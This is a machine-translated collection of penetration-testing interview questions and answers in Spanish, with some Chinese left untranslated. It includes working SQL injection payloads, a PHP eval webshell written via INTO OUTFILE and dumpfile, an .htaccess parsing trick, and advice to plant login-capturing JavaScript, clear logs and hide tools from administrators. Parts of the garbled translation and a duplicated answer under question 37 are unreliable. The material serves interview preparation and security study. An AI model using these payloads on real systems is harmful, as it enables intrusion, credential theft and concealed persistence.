Colección de preguntas de la entrevista sobre pruebas de penetración

Colección de preguntas de la entrevista sobre pruebas de penetración

1. Proceso de pensamiento

1. Recopilación de información

a. Información relacionada con el servidor (IP real, tipo de sistema, versión, puertos abiertos, WAF, etc.)

B. Identificación de huellas dactilares del sitio web (incluidos cms, cdn, certificado, etc.), registros dns

c. Información Whois, nombre, registro, correo electrónico, número de teléfono, verificación inversa (si el correo electrónico se pierde en la base de datos del trabajador social, los trabajadores sociales se preparan, etc.)

e. Colección de nombres de subdominio, estaciones laterales, segmento C, etc.

F. Google piratea búsquedas dirigidas, archivos PDF, versiones de middleware, escaneo de contraseñas débiles, etc.

g. Escanee la estructura del directorio del sitio web para filtrar archivos confidenciales, como el backend, el banner del sitio web, los archivos de prueba, las copias de seguridad, etc.

h.Protocolo de transmisión, vulnerabilidades comunes, exp, código fuente de github, etc.

2. Minería de vulnerabilidad

a. Navegar por el sitio web para ver su tamaño, funciones, características, etc.

b. Escanear puertos, contraseñas débiles, directorios, etc., y realizar detección de vulnerabilidades en los puertos de respuesta, como rsync, heart blooding, mysql, ftp, ssh contraseñas débiles, etc.

C. XSS, inyección SQL, carga, inyección de comandos, CSRF, detección de seguridad de cookies, información confidencial, transmisión de datos de comunicación, craqueo por fuerza bruta, carga de archivos arbitrarios, acceso no autorizado, acceso no autorizado, recorrido de directorio, inclusión de archivos, ataque de reproducción (bombardeo de SMS) ), detección de vulnerabilidades del servidor y, finalmente, uso de herramientas de escaneo faltantes, etc.

3. Explotación de vulnerabilidades y escalada de privilegios

A. Elevación de privilegios de mysql, elevación de privilegios de serv-u, elevación de privilegios de Oracle

B. Escalada de privilegios de desbordamiento de Windows

C. Vaca sucia de Linux, vulnerabilidad del kernel que eleva los privilegios

4. Borrar datos de prueba e informe de salida

Limpiar y resumir registros y datos de prueba
, generar informes de pruebas de penetración y adjuntar planes de reparación.

5. Vuelva a probar

Verificar y descubrir si hay nuevas vulnerabilidades, generar informes y archivar

2. Problemas

1. Cuando consigues probar una estación, ¿qué crees que deberías hacer primero?

Recopilación de información:
a. Obtenga la información whois del nombre de dominio, obtenga el correo electrónico, el nombre, el número de teléfono, etc. del registrante, tírelo a la base de datos del trabajador social para ver si hay alguna contraseña filtrada y luego intente usar la contraseña filtrada. contraseña para iniciar sesión en el backend. Utilice su dirección de correo electrónico como palabras clave para ingresar en los motores de búsqueda. Utilice la información relacionada buscada para encontrar otras direcciones de correo electrónico y obtener cuentas sociales de uso común. El trabajador social descubre la cuenta social y puede descubrir el hábito del administrador de establecer contraseñas. Utilice la información existente para generar un diccionario dedicado.

b.Consulte los sitios secundarios del servidor y los sitios de nombres de subdominio. Dado que el sitio principal generalmente es más difícil, verifique primero si hay algún CMS común u otras vulnerabilidades en los sitios secundarios.

c.Verifique la versión del sistema operativo del servidor y el middleware web para ver si existen vulnerabilidades conocidas, como vulnerabilidades de análisis de IIS, APACHE y NGINX.

d. Verifique la IP, realice un escaneo del puerto de la dirección IP y realice la detección de vulnerabilidades en los puertos de respuesta, como rsync, heart blooding, mysql, ftp, ssh, contraseñas débiles, etc.

e. Escanee la estructura del directorio del sitio web para ver si se puede atravesar el directorio o si se filtran archivos confidenciales, como php probe
f y google hack para detectar aún más información del sitio web, antecedentes y archivos confidenciales.

El escaneo de vulnerabilidades
comienza a detectar vulnerabilidades, como XSS, XSRF, inyección SQL, ejecución de código, ejecución de comandos, acceso no autorizado, lectura de directorio, lectura de archivos arbitrarios, descarga, inclusión de archivos, ejecución remota de comandos, contraseña débil, carga, vulnerabilidad del editor, Brute. fuerza de agrietamiento, etc.

Explotación de vulnerabilidades:
utilice el método anterior para obtener webshell u otros permisos

Servidor de elevación de privilegios
, como escalada de privilegios mysql udf en Windows, escalada de privilegios serv-u, vulnerabilidades en versiones inferiores de Windows, como iis6, pr, barbacoa brasileña, vulnerabilidad de la vaca sucia de Linux, escalada de privilegios de vulnerabilidad de la versión del kernel de Linux, en Linux mysql escalada de privilegios del sistema y escalada de privilegios bajos de Oracle

Limpieza de troncos

Informe resumido y plan de reparación.

2. ¿Cuál es la importancia de determinar el CMS del sitio web para la penetración?

Busque vulnerabilidades del programa que hayan quedado expuestas en línea.

Si es de código abierto, también puede descargar el código fuente correspondiente para la auditoría de código.

3. Para un CMS maduro y relativamente seguro, ¿cuál es la importancia de escanear directorios durante la penetración?

Archivos confidenciales y escaneo de directorio secundario

Mal funcionamiento por parte de los webmasters, por ejemplo: archivos comprimidos, descripción .txt y directorios secundarios de copias de seguridad de sitios web pueden almacenar otros sitios.

4. Contenedores de servidores de sitios web comunes.

IIS, Apache, nginx, Lighttpd, Tomcat

5. En el punto de inyección de mysql, use una herramienta para escribir una oración directamente en el sitio de destino ¿Cuáles son las condiciones requeridas?

permisos de root y la ruta absoluta al sitio web.

6. Qué versiones de contenedores se sabe actualmente que tienen vulnerabilidades de análisis, con ejemplos específicos.

a. IIS 6.0
/xx.asp/xx.jpg "xx.asp" es el nombre de la carpeta

b. Fast-CGI está activado de forma predeterminada en IIS 7.0/7.5
. Si ingresa /1.php directamente después de la dirección de la imagen en la URL, la imagen normal se analizará como php.

c. La versión de Nginx
es menor o igual a 0.8.37. El método de uso es el mismo que IIS 7.0/7.5. También se puede usar cuando Fast-CGI está desactivado. Código de bytes nulo xxx.jpg.php

d. El archivo subido por Apache se llama: test.php.x1.x2.x3. Apache determina el sufijo de derecha a izquierda.

E. lighttpd xx.jpg/xx.php no está completo, no dude en agregar más en los comentarios, ¡gracias!

7. ¿Cómo determinar rápidamente manualmente si la estación de destino es un servidor Windows o Linux?

Linux distingue entre mayúsculas y minúsculas, Windows no distingue entre mayúsculas y minúsculas.

8. ¿Por qué un sitio de base de datos mysql tiene solo un puerto 80 abierto?

Cambié el puerto pero no fue escaneado.

Separación de la biblioteca del sitio.

El puerto 3306 no está abierto al público.

9. Varias situaciones en las que 3389 no se puede conectar

El puerto 3389 no está abierto.
El puerto ha sido modificado
para protección e interceptación.
Está en la intranet (se requiere reenvío de puerto).

10. ¿Cómo superar los personajes que se escapan cuando se inyectan?


Bypass de codificación hexadecimal de inyección de caracteres amplios

11. ¿Qué debe hacer primero cuando vea el editor en una interfaz de edición de noticias backend?

Mire la versión del nombre del editor y busque vulnerabilidades públicas.

12. Obtuve un webshell y descubrí que hay un archivo .htaccess en el directorio raíz del sitio web, ¿qué podemos hacer?

Hay muchas cosas que se pueden hacer, tomemos como ejemplo un caballo de red oculto:
Insertar

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php

Los archivos .jpg se analizarán en archivos .php.

No puedo entrar en detalles sobre otras cosas específicas, te sugiero que busques las oraciones tú mismo y juegues.

13. ¿La vulnerabilidad de inyección solo puede verificar la contraseña de la cuenta?

Mientras la autoridad sea amplia, arrastre la biblioteca hasta que sea mayor.

14. ¿El perro de seguridad rastreará las variables y descubrirá que es un troyano de una sola frase?

Se basa en el código de función, por lo que es fácil omitirlo. Siempre que tengas una mente amplia, puedes rodear al perro y llegar a la alegría, pero esto no debe ser inamovible.

15.Access escanea el archivo de la base de datos con el sufijo asp y el acceso es confuso ¿Cómo se puede usar localmente?

Descargue a través de Thunder y cambie directamente el sufijo a .mdb.

16. Al elevar los privilegios, seleccione un directorio en el que se pueda leer y escribir.¿Por qué intentar no utilizar directorios con espacios?

Porque la mayoría de las ejecuciones de exp requieren espacios para delimitar parámetros.

17. Un determinado servidor tiene los sitios A y B. ¿Por qué se agrega el usuario de prueba al backend de A para acceder al backend de B? ¿Descubrió que también se agregó el usuario de prueba?

Misma base de datos.

18. Al inyectarme, ¿puedo comenzar a inyectarme directamente ordenando sin usar y, o xor?

y/o/xor, los pasos anteriores 1=1, 1=2 son solo para determinar si es un punto de inyección. Si ya está determinado que es un punto de inyección, puede guardar ese paso.

19: Un determinado sistema antiinyección indicará: durante la inyección:

El sistema ha detectado que has cometido una inyección ilegal.
Su IP xx.xx.xx.xx ha sido registrada
Hora: 2016:01-23
Enviar página: test.asp?id=15
Enviar contenido: y 1=1

20. ¿Cómo utilizar este sistema antiinyección para conseguir la concha?

Envíe una oración directamente en la URL, para que el sitio web registre su oración en el archivo de la base de datos. En este momento, puede intentar encontrar el archivo de configuración del sitio web y vincularlo directamente al helicóptero.

21. ¿Cuáles son las soluciones al acceder a caracteres confusos después de cargarlos en Malasia?

Cambie la codificación en el navegador.

22. ¿Cuál es el significado de revisar los elementos del punto de carga?

Las restricciones sobre los tipos de archivos cargados de algunos sitios se implementan en la interfaz. En este caso, simplemente agregar el tipo de carga puede romper las restricciones.

23. El sitio de destino prohíbe el registro de usuarios. Al recuperar la contraseña, ingrese el nombre de usuario y le preguntará: "Este usuario no existe". ¿Cómo cree que se puede usar esto?

Primero descifre el nombre de usuario y luego use el nombre de usuario descifrado para descifrar la contraseña.
De hecho, algunos sitios también mostrarán este mensaje en el punto de inicio de sesión.
Todos los lugares que interactúan con la base de datos pueden tener inyección.

24. La estación de destino descubrió que la dirección de descarga de un determinado texto es

http://www.test.com/down/down.php?file=/upwdown/1.txt, ¿cuáles son tus ideas?

¡Esta es la legendaria vulnerabilidad de descarga! Intente ingresar index.php después de file= para descargar su archivo de página de inicio y luego continúe buscando los archivos de configuración de otros sitios web en el archivo de página de inicio. Puede encontrar la contraseña de la base de datos y la dirección de la base de datos del sitio web.

25. A le proporciona un sitio de destino y le dice que el directorio /abc/ existe en el directorio raíz y que los directorios editor y admin existen en este directorio. ¿Cuáles son tus pensamientos?

Escanee archivos y directorios confidenciales directamente en el directorio secundario del sitio web /abc/.

26. ¿Cómo utilizar xss para lograr el control a largo plazo del sitio objetivo cuando hay un caparazón?

Agregue una sección js al área de inicio de sesión en segundo plano para registrar la cuenta y la contraseña de inicio de sesión, y determine si el inicio de sesión es exitoso. Si el inicio de sesión es exitoso, registre la contraseña de la cuenta en un archivo con una ruta poco común o envíelo directamente a su propio sitio web. archivo. (Este método es adecuado para redes valiosas que requieren un control profundo de los permisos).

Inserte scripts XSS en archivos a los que solo se pueda acceder después de iniciar sesión.

27. Al cambiar la contraseña del administrador en segundo plano, la contraseña original se muestra como *. ¿Cómo crees que deberíamos leer la contraseña de este usuario?

En el elemento de inspección, cambie el atributo de contraseña de la contraseña a texto y se mostrará el texto sin formato.

28. El sitio de destino no está protegido. Se puede acceder a la carga de imágenes normalmente, pero al cargar el acceso en formato script se generará 403. ¿Cuál es el motivo?

Hay muchas razones. Es posible que la configuración del servidor web haya codificado el directorio de carga y no ejecute el script correspondiente. Intente cambiar el nombre del sufijo para evitarlo.

29. ¿Cómo crees que el elemento de censura conoce el software de protección utilizado por el sitio web?

Cuando se interceptan operaciones confidenciales y la protección no se puede determinar específicamente a través de la información de la interfaz, F12 puede mirar el cuerpo HTML, como Guardian God, para ver el contenido del nombre.

30. ¿Cuál es el propósito de crear una carpeta .zhongzi en el servidor win2003?

Oculte la carpeta para evitar que los administradores descubran las herramientas que cargó.

31. La inyección SQL tiene las siguientes dos opciones de prueba, elija una y explique las razones para no elegir la otra:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
elija B. En la codificación de URL, + representa un espacio, lo que puede causar confusión.

32. Hay una vulnerabilidad de inyección SQL en el siguiente enlace ¿Qué piensas sobre esta inyección modificada?

demo.do?DATA=AjAxNg==
Los DATOS pueden codificarse en base64 y luego pasarse al servidor, por lo que también necesitamos codificar en base64 los parámetros para completar la prueba correctamente.

33. Encontré el punto de inyección demo.jsp?uid=110. ¿Qué ideas tienes para obtener webshell? ¿Cuál es la mejor?

Si tiene permiso de escritura, utilice INTO OUTFILE para construir una declaración de consulta conjunta. Puede redirigir el resultado de la consulta al archivo del sistema para escribir en WebShell. Utilice sqlmap –os-shell. El principio es el mismo que el anterior. para obtener directamente un Shell, que es más eficiente: obtenga la cuenta y la contraseña del administrador del sitio web construyendo una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano y luego cargue el Shell en segundo plano modificando el paquete. y subiéndolo.

34. ¿Cuál es la diferencia entre CSRF, XSS y XXE y cómo solucionarla?

XSS es un ataque de secuencias de comandos entre sitios: el código se puede construir y ejecutar en los datos enviados por el usuario, logrando así ataques como el robo de información del usuario. Método de reparación: escape de entidades de caracteres, use solo HTTP para evitar que JavaScript lea valores de cookies, verifique al ingresar y use la misma codificación de caracteres en navegadores y aplicaciones web.

CSRF es un ataque de falsificación de solicitudes entre sitios. XSS es una de las muchas formas de implementar CSRF. Se debe al hecho de que no hay confirmación de si el usuario lo inició voluntariamente cuando se ejecuta la operación clave. Método de reparación: filtre las páginas que necesitan evitar CSRF y luego incruste el token, ingrese la contraseña nuevamente y verifique que Referer XXE sea un ataque de inyección de entidad externa XML. En XML, puede solicitar contenido local o remoto llamando a entidades. Es similar a la protección remota de archivos y causará problemas de seguridad relacionados, como la lectura de archivos confidenciales. Solución: la biblioteca de análisis XML prohíbe estrictamente el análisis de entidades externas al realizar una llamada.

35. ¿Cuál es la diferencia entre CSRF, SSRF y ataques de repetición?

CSRF es un ataque de falsificación de solicitudes entre sitios. SSRF iniciado por el cliente es una falsificación de solicitudes del lado del servidor. Un ataque de reproducción iniciado por el servidor reproduce los paquetes de datos interceptados para lograr la autenticación de identidad y otros fines.

36. Nombra al menos tres vulnerabilidades de la lógica empresarial y cómo solucionarlas.

Existe una vulnerabilidad de recuperación de contraseña

1) La contraseña permite descifrar por fuerza bruta,

2) Existe un bono de recuperación universal,

3) Puedes omitir el paso de verificación,

4) Para recuperar el bono, puedes interceptar el paquete y obtenerlo.

etc. para obtener la contraseña a través de la función de recuperación de contraseña proporcionada por el fabricante. Las vulnerabilidades de autenticación más comunes son

1) Ataque de fijación de sesión

2) Falsificación de galletas

Siempre que obtenga la Sesión o Cookie, podrá falsificar la identidad del usuario. Hay una vulnerabilidad en el código de verificación.

1) El código de verificación permite el descifrado por fuerza bruta

2) El código de verificación se puede omitir mediante Javascript o modificación del paquete.

37. Encierra en un círculo los elementos que pueden tener problemas en la siguiente conversación y marca los posibles problemas.

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

Si tiene permiso de escritura, utilice INTO OUTFILE para construir una declaración de consulta conjunta. Puede redirigir el resultado de la consulta al archivo del sistema para escribir en WebShell. Utilice sqlmap –os-shell. El principio es el mismo que el anterior. para obtener directamente un Shell, que es más eficiente: obtenga la cuenta y la contraseña del administrador del sitio web construyendo una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano y luego cargue el Shell en segundo plano modificando el paquete. y subiéndolo.

38. Dado un sitio web, ¿cómo se realizan las pruebas de penetración? Bajo la premisa de obtener una autorización por escrito.

39. sqlmap, ¿cómo inyectar un punto de inyección?

1) Si es un modelo get, directamente, sqlmap -u "como URL de punto".
2) Si es un tipo de publicación, como punto, puede sqlmap -u "URL de punto de inyección" --data="post parámetros"
3) Si es una cookie,

40. nmap, varios métodos de escaneo

41. ¿Cuáles son los tipos de inyección SQL?

1) Inyección de error
2) Inyección de bool
3) Inyección de retraso
4) Inyección de byte ancho

42. ¿Cuáles son las funciones inyectadas para informar errores? 10

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from

43. ¿Cómo juzgar la inyección retrasada?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44. ¿Qué tienen en común la inyección ciega y la inyección retardada?

Todo se juzga carácter por carácter.

45. ¿Cómo obtener el webshell de un sitio web? Carga, edición de plantillas en segundo plano, inyección de SQL y escritura de archivos, ejecución de comandos, ejecución de código, algunas vulnerabilidades de cms que han sido expuestas, como el fondo de dedecms puede crear archivos de script directamente, el complemento de carga de WordPress contiene un paquete zip de archivos de script, etc. .

46. ​​​​¿Cuáles son las funciones para la inyección de SQL y la escritura de archivos?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';

47. ¿Cómo prevenir la CSRF?

1) Verificar el referente
2) Verificar
los detalles del token: http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48. ¿Cuáles son las vulnerabilidades de owasp?

1) Métodos de protección de inyección SQL:
2) Autenticación fallida y gestión de sesión
3) Ataque de secuencias de comandos entre sitios XSS
4) Referencia directa a objetos inseguros
5) Errores de configuración de seguridad
6) Fuga de información confidencial
7) Falta de control de acceso a nivel funcional
8) Falsificación de solicitudes entre sitios CSRF
9) Uso de componentes con vulnerabilidades conocidas
10) Reenvíos y reenvíos no validados

49. ¿Método de protección contra inyección SQL?

1) Utilice una API segura
2) Escape de los caracteres especiales de entrada
3) Utilice una lista blanca para estandarizar el método de verificación de entrada
4) Controle la entrada del cliente y no permita la entrada de caracteres especiales relacionados con la inyección SQL
5) Lado del servidor Antes de enviar el base de datos para consultas SQL, los caracteres especiales se filtran, escapan, reemplazan y eliminan.

50. ¿Cuáles son las funciones para la ejecución de código, lectura de archivos y ejecución de comandos?

1) Ejecución de código:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2) Lectura de archivos:

file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3) Ejecución del comando:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51. Además del atributo onerror de la etiqueta img, ¿hay alguna otra forma de obtener la ruta del administrador?

src especifica un archivo de script remoto para obtener el referente

52. Además del atributo onerror de la etiqueta img, el nombre del sufijo del atributo src debe terminar en .jpg Cómo obtener la ruta del administrador.

1) El servidor remoto modifica el archivo de configuración de Apache y configura el archivo .jpg para analizar AddType application/x-httpd-php .jpg en modo PHP.

53. ¿Por qué el troyano aspx tiene mayor autoridad que asp?

aspx utiliza tecnología .net. No es compatible de forma predeterminada con IIS y ASP es solo un lenguaje de programación. Al invadir, los troyanos ASP suelen tener permisos de invitado... Los troyanos APSX suelen tener permisos de usuario.

54. ¿Cómo evitar el waf?

Método de conversión de casos
carácter de interferencia /!/
codificación base64 unicode url hexadecimal ascll
parámetros complejos

55. ¿Cómo escribir webshell en el servidor?

Varias vulnerabilidades de carga
mysql tiene permiso de escritura, use la declaración sql para escribir
el método put http del shell

56. Puertos comunes en las pruebas de penetración.

A. Clase web (vulnerabilidad web/directorio sensible) Vulnerabilidad de componentes comunes de terceros struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

B. Clase de base de datos (buscando contraseñas débiles)

1433 MSSQL
1521 Oráculo
3306 MySQL
5432 PostgreSQL

c. Categoría de servicio especial (no autorizado/categoría de ejecución de comando/vulnerabilidad)

443 SSL está sangrando
873 Rsync no está autorizado
5984 CouchDB http://xxx:5984/_utils/
6379 redis no está autorizado
7001,7002 Contraseña débil predeterminada de WebLogic, secuencia inversa
9200,9300 elasticsearch Referencia WooYun: reproduce la ejecución del comando ElasticSearch de un Vulnerabilidad de cierto servidor
11211 Acceso no autorizado a Memcache
27017, 27018 Acceso no autorizado a Mongodb
50000 Ejecución de comandos SAP
50070, 50030 Acceso no autorizado al puerto predeterminado de Hadoop

D. Categorías de puertos comunes (búsqueda de contraseñas débiles/explosión de puertos)

21 ftp
22 SSH
23 Telnet
2601,2604 enrutamiento zebra, contraseña predeterminada
escritorio remoto zebra 3389

TODOS, detalles totales del puerto

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 Sangrado de SSL y algunas pruebas de vulnerabilidad web
445 SMB
512,513,514 Rexec
873 Rsync no autorizado
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560, 7778 )
2082/ 2083 inicio de sesión del sistema de administración de host cpanel (más usado en el extranjero)
2222 inicio de sesión del sistema de administración de host virtual DA (más usado en el extranjero)
2601,2604 enrutamiento zebra, contraseña predeterminada zebra
3128 puerto predeterminado del proxy squid, si no se establece una contraseña, es posible Simplemente deambule por intranet directamente
3306 MySQL
3312/3311 inicio de sesión del sistema de administración de host kangle
3389 Escritorio remoto
4440 rundeck Referencia WooYun: Tomar prestado un servicio Sina para recorrer con éxito la intranet Sina
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 barniz Referencia WooYun: Varnish HTTP acelerador CLI El acceso no autorizado puede conducir fácilmente a la manipulación directa del sitio web o al ingreso a la intranet como proxy 6379
Redis no autorizado
7001,7002 Contraseña débil predeterminada de WebLogic, secuencia inversa
7778 Inicio de sesión en el panel de control del host Kloxo
8000-9090 son algunos puertos web comunes, algunas operaciones y mantenimiento como abrir el backend de administración en estos puertos que no son 80
Sistema de administración de host 8080 tomcat/WDCP, la contraseña débil predeterminada
es 8080, 8089, 9090 JBOSS
8083 Sistema de administración de host Vestacp (más usado en el extranjero)
8649 ganglia
8888 amh/LuManager puerto predeterminado del sistema de administración de host
9200, 9300 elasticsearch Referencia WooYun: Duowan cierto servidor vulnerabilidad de ejecución de comandos ElasticSearch
10000 Sistema de administración de host virtual del servidor Virtualmin/Webmin
11211 acceso no autorizado a memcache
27017, 27018 acceso no autorizado a Mongodb
28017 página de estadísticas de mongodb
50000 SAP ejecución de comando
50070, 50030 puerto predeterminado de hadoop acceso no autorizado

3. Cierto fabricante de seguridad.

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

4. Protección contra inyección SQL

1. Utilice una API segura
2. Escape de los caracteres especiales de entrada
3. Utilice una lista blanca para estandarizar el método de verificación de entrada
4. Controle la entrada del cliente y no permita la entrada de caracteres especiales relacionados con la inyección SQL
5. Lado del servidor Antes de enviar el base de datos para consultas SQL, los caracteres especiales se filtran, escapan, reemplazan y eliminan.
6. Codificación estándar y juego de caracteres.

5. Por qué las consultas parametrizadas pueden evitar la inyección de SQL

principio:

Cuando se utiliza una consulta parametrizada, el servidor de la base de datos no ejecutará el contenido del parámetro como parte de la instrucción SQL, sino que aplicará los parámetros después de que la base de datos complete la compilación de la instrucción SQL.

En pocas palabras: la razón por la que la parametrización puede evitar la inyección es que la declaración es una declaración y los parámetros son parámetros. El valor del parámetro no es parte de la declaración. La base de datos solo se ejecuta de acuerdo con la semántica de la declaración.

6. Punto de inyección del encabezado SQL

IP DE COOKIE
DE REFERENCIA UA

7. ¿Qué es una apuesta ciega? ¿Cómo hacer una apuesta ciega?

La inyección ciega es un método en el que el servidor desactiva el eco de error durante el ataque de inyección SQL, y simplemente juzgamos si hay inyección y explotación de SQL en función de los cambios en el contenido devuelto por el servidor. Hay dos métodos de inyección ciega: uno es verificar si hay inyección verificando si el contenido de retorno de la página es correcto (basado en booleanos). Una es determinar si hay inyección (basada en el tiempo) en función de la diferencia en el tiempo de procesamiento de la declaración SQL. Aquí, puede usar funciones como punto de referencia y suspensión que causan efectos de retraso, o puede construir una tabla de consulta conjunta con un gran tamaño. Producto cartesiano logra el propósito del retraso.

8. Principios y causas fundamentales de la inyección de bytes amplios

1. Principio de producción

Cuando la base de datos usa un conjunto de caracteres amplio y este problema no se considera en la capa WEB, en la capa WEB, ya que 0XBF27 son dos caracteres, en PHP, por ejemplo, cuando se activan addlash y magic_quotes_gpc, la comilla simple 0x27 será escapó, por lo que 0xbf27 se convertirá en 0xbf5c27, y cuando los datos ingresen a la base de datos, dado que 0XBF5C es otro carácter, el símbolo \ escape será "comido" por el bf anterior, y las comillas simples se pueden escapar y usar para cerrar la declaración.

2. Dónde codificar

3. Causa raíz

Character_set_client (el juego de caracteres del cliente) y Character_set_connection (el juego de caracteres de la capa de conexión) son diferentes o funciones de conversión como iconv y mb_convert_encoding se utilizan incorrectamente.

4. Solución

Unifique los juegos de caracteres utilizados por bases de datos, aplicaciones web y sistemas operativos para evitar diferencias en el análisis, es mejor configurarlos en UTF-8. O escapar de los datos correctamente, como el uso de mysql_real_escape_string+mysql_set_charset.

5. ¿Cómo utilizar sólo la actualización en SQL?

Primero comprenda este SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

Si este SQL se modifica a la siguiente forma, se logra la inyección

a. Modifique el valor de la página de inicio a http://xxx.net', nivel de usuario='3

Entonces la declaración SQL se convierte en

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

nivel de usuario es el nivel de usuario

b. Modifique el valor de la contraseña a mypass)' WHERE nombre de usuario='admin'#

Entonces la declaración SQL se convierte en

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c. Después de modificar el valor de identificación a 'O nombre de usuario ='admin', la declaración SQL se convierte en

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

9. Cómo escribir un shell en SQL/Qué hacer si se filtra una comilla simple

Shell de escritura: permisos de root, GPC está cerrado, conozca la función de salida de la ruta del archivo

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

inyección de bytes anchos

1. Cómo reemplazar espacios

%0a, %0b, %a0 y otros
/**/ y otros caracteres de comentario
<>

2. Inyección del sitio web MySQL, ¿cuál es la diferencia entre 5.0 y superiores y 5.0 y siguientes?

No existe una tabla del sistema information_schema por debajo de 5.0, por lo que no es posible enumerar nombres, etc., y solo puede detener violentamente los nombres de las tablas.

Por debajo de 5.0 es una operación única multiusuario y por encima de 5.0 es una operación múltiple multiusuario.

10. XSS

1. Principio XSS

reflexivo

Se puede construir y ejecutar código a partir de los datos enviados por el usuario, logrando así ataques como el robo de información del usuario. Es necesario engañar al usuario para que "haga clic" en un enlace malicioso para que el ataque tenga éxito.

tipo de almacenamiento

El XSS almacenado "almacenará" los datos ingresados ​​por el usuario en el lado del servidor. Este tipo de XSS tiene una gran estabilidad.

tipo DOM

El XSS formado modificando los nodos DOM de la página se denomina XSS basado en DOM.

2. La diferencia entre tipo DOM y tipo reflectante

XSS reflejado: XSS que se activa mediante nuestra carga maliciosa construida al inducir a los usuarios a hacer clic. Detección de XSS reflejado Cada vez que solicitamos un enlace con carga útil, la página debe contener datos específicos mal formados. Tipo DOM: XSS formado modificando el nodo DOM de la página. El XSS basado en DOM se genera mediante operaciones DOM a través de código js, ​​por lo que es posible que ni siquiera obtengamos los datos con formato incorrecto correspondientes en la respuesta a la solicitud. La diferencia fundamental en mi opinión es la diferencia en los puntos de salida.

3. Pruebas automatizadas de tipo DOM y XSS o pruebas manuales

Ideas de prueba manual: busque puntos de función como document.write, asignación de HTML interno, asignación de HTML externo, operación de ubicación de ventana, escriba javascript: post-content, eval, setTimeout, setInterval y otras funciones de ejecución directa. Encuentre sus variables, rastree la fuente de las variables para ver si son controlables y si pasan a través de la función de seguridad. Para pruebas automatizadas, consulte el blog de Brother Dao. La idea es comenzar con la entrada, observar el proceso de transferencia de variables y finalmente verificar si hay salida en una función peligrosa y si hay una función segura en el medio. Pero esto requiere un analizador de JavaScript; de lo contrario, se perderá parte del contenido introducido mediante la ejecución de js.

Al responder a esta pregunta, dado que la detección habitual de los clientes se basa en las funciones de diferentes puntos de función más la experiencia y la intuición, en realidad no existe una estandarización detallada de los diferentes tipos de métodos de detección XSS Método de detección, por lo que la respuesta es terrible. . .

4. Cómo descubrir rápidamente la ubicación de XSS

5. Sugerencias sobre cómo reparar XSS

Verificación del punto de entrada: verifique la validez de los datos ingresados ​​por el usuario, use filtros para filtrar caracteres confidenciales o codificarlos y escaparlos, y realice verificaciones de formato en tipos específicos de datos. La verificación de los puntos de entrada se implementa mejor en el lado del servidor.

Verificación del punto de salida: cuando una variable se envía a una página HTML, el contenido de salida se codifica y se escapa. Cuando se envía en HTML, se codifica HTML. Si se genera en un script Javascript, se codifica Javascript. Todas las variables que utilizan JavascriptEncode se colocan entre comillas y se escapan los caracteres peligrosos. La parte de datos no puede escapar de las comillas y pasa a formar parte del código. También puede utilizar un método más estricto y utilizar codificación hexadecimal para todos los caracteres que no sean alfanuméricos. Además, cabe señalar que en el navegador, el análisis HTML tendrá prioridad sobre el análisis Javascript, y el método de codificación también debe considerarse cuidadosamente. Para diferentes puntos de salida, nuestros métodos de defensa contra XSS pueden ser diferentes. Esto puede ser discutido en un artículo posterior. Haga un resumen.

Además, también existe HTTPOnly para limitar el secuestro de cookies.

6. Condiciones de producción de gusanos XSS.

